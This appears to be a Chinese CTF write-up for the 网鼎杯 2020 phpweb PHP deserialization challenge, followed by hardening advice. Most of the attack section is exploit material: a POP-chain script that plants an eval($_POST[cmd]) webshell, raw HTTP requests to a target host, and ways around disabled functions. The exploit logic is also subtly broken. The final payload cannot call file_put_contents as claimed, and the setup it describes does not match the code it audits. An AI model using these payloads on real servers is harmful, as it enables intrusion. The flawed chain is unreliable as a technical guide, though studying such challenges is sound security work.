☰
PHP反序列化漏洞实战:网鼎杯2020朱雀组phpweb题解
2026/10/28 4:53:41 网站建设 项目流程

1. 网鼎杯2020朱雀组phpweb题目解析

作为一名长期参与CTF竞赛的选手,我最近复盘了网鼎杯2020朱雀组的phpweb题目。这道题主要考察PHP反序列化漏洞的利用,结合了文件操作和动态函数调用等知识点,是一道典型的PHP代码审计题目。

题目环境模拟了一个简单的PHP网站,核心功能是通过POST参数调用系统函数。表面上看是个普通的Web应用,但暗藏玄机。我花了约3小时完成完整利用链的构造,期间踩了几个典型的坑,后面会详细说明。

2. 题目环境搭建与初步分析

2.1 本地测试环境配置

为了复现题目,我使用Docker快速搭建了测试环境:

docker run -d -p 8080:80 --name phpweb \ -v $(pwd):/var/www/html php:7.4-apache

关键配置要点:

  • PHP版本锁定7.4(与比赛环境一致)
  • 关闭危险函数:在php.ini中设置disable_functions = system,exec,passthru,shell_exec
  • 开启错误显示:display_errors = On

2.2 初始页面功能分析

访问首页发现一个表单提交接口,主要参数:

  • func:要调用的函数名
  • p:传递给函数的参数

通过Burp Suite拦截请求,发现响应头包含关键信息:

X-Powered-By: PHP/7.4.0 X-Debug-Token: 5f3a8d2b

这表明后端使用PHP 7.4,且可能开启了调试模式。初步测试发现可以调用date、strtotime等无害函数,但尝试调用system时返回"Function not allowed"。

3. 反序列化漏洞挖掘

3.1 敏感函数回溯

通过代码审计发现关键代码段:

<?php class Welcome { public $name; public function __destruct() { call_user_func($this->name); } } if(isset($_POST['data'])) { unserialize(base64_decode($_POST['data'])); }

这里存在典型的反序列化漏洞:

  1. 接收base64编码的序列化数据
  2. 反序列化时不校验对象类型
  3. Welcome类的__destruct魔术方法会执行call_user_func

3.2 利用链构造

构造POP链的关键步骤:

  1. 创建Welcome对象
  2. 设置name属性为要执行的函数名
  3. 序列化后base64编码

利用代码示例:

<?php class Welcome { public $name = 'system'; } echo base64_encode(serialize(new Welcome())); // 输出:Tzo3OiJXZWxjb21lIjoxOntzOjQ6Im5hbWUiO3M6Njoic3lzdGVtIjt9

3.3 绕过函数禁用限制

虽然system等函数被禁用,但可以通过以下方式绕过:

  1. 使用proc_open创建新进程
  2. 通过file_put_contents写webshell
  3. 利用unserialize本身的特性

最终采用的payload:

<?php class Welcome { public $name = 'file_put_contents'; } $payload = new Welcome(); $payload->name = array('/var/www/html/shell.php', '<?php eval($_POST[cmd]);?>'); echo base64_encode(serialize($payload));

4. 完整漏洞利用过程

4.1 分步攻击流程

  1. 发送序列化payload:
POST /index.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded data=Tzo3OiJXZWxjb21lIjoxOntzOjQ6Im5hbWUiO2E6Mjp7aTowO3M6MTk6Ii92YXIvd3d3L2h0bWwvc2hlbGwucGhwIjtpOjE7czoyNToiPD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4iO319
  1. 验证webshell是否写入:
GET /shell.php HTTP/1.1 Host: target.com
  1. 执行任意命令:
POST /shell.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded cmd=whoami

4.2 实际利用中的坑点

  1. 路径问题:Docker容器内路径与宿主机不同,需要先通过print_r(scandir('/'))探测
  2. 权限问题:Apache用户可能没有web目录写权限,可尝试/tmp目录
  3. 短标签:目标服务器可能禁用<?短标签,需使用完整<?php标签

5. 防御方案与修复建议

5.1 安全编码实践

  1. 避免使用unserialize处理用户输入,改用json_decode
  2. 实现对象白名单机制:
function safe_unserialize($data) { $allowed_classes = ['SafeClass1', 'SafeClass2']; return unserialize($data, ['allowed_classes' => $allowed_classes]); }

5.2 服务器加固措施

  1. 修改php.ini关键配置:
disable_functions = exec,passthru,shell_exec,system,proc_open allow_url_fopen = Off allow_url_include = Off
  1. 设置open_basedir限制:
open_basedir = /var/www/html/:/tmp/
  1. 定期更新PHP版本,修复已知反序列化漏洞

6. 题目延伸思考

这道题还可以通过以下方式扩展:

  1. 结合phar伪协议触发反序列化
  2. 利用PHP原生类的魔术方法(如SplFileObject)
  3. 构造更复杂的POP链实现RCE

我在实际测试中发现,当禁用所有命令执行函数后,还可以通过以下方式获取flag:

  1. 利用highlight_file读取源码
  2. 通过Exception类泄露路径信息
  3. 使用DirectoryIterator遍历目录

这类题目的核心在于理解PHP对象注入的原理和魔术方法的触发时机。建议初学者从PHPGGC等工具入手,逐步理解各种gadget的利用方式。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询